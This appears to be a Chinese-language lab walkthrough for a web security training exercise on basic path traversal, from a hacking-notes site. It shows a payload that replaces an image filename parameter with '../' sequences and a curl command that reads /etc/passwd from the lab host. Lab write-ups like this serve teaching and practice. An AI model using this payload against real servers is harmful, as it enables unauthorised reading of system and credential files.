> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/path-traversal/basic-path-traversal.md).

# 基础路径遍历

### 文件路径遍历，简单案例

本实验展示了在显示产品图片时存在的路径遍历漏洞。/ 要解决此问题，只需访问以下内容的内容： **/etc/passwd** 文件中的用户进行测试。

这些图片是通过一个加载的 **filename** 参数：

```bash
/image?filename=53.jpg
```

<figure><img src="/files/8ad9e5a4e31cabb6f3d1e88853a1f2f7a7cc2360" alt=""><figcaption></figcaption></figure>

通过将此文件名替换为一串允许你返回目录树的序列，你可以定位系统文件：

```bash
/image?filename=../../../../../etc/passwd
```

示例： **curl**:

{% code overflow="wrap" %}

```bash
curl 'https://0ae100b3030baaee8586042900fd00e8.web-security-academy.net/image?filename=../../../../../etc/passwd'
```

{% endcode %}

此有效载荷显示了 passwd 文件的内容，从而验证了该实验。

<figure><img src="/files/44b37073e79584d55a8bb03ddb36f15f6fcec4c4" alt=""><figcaption></figcaption></figure>


---

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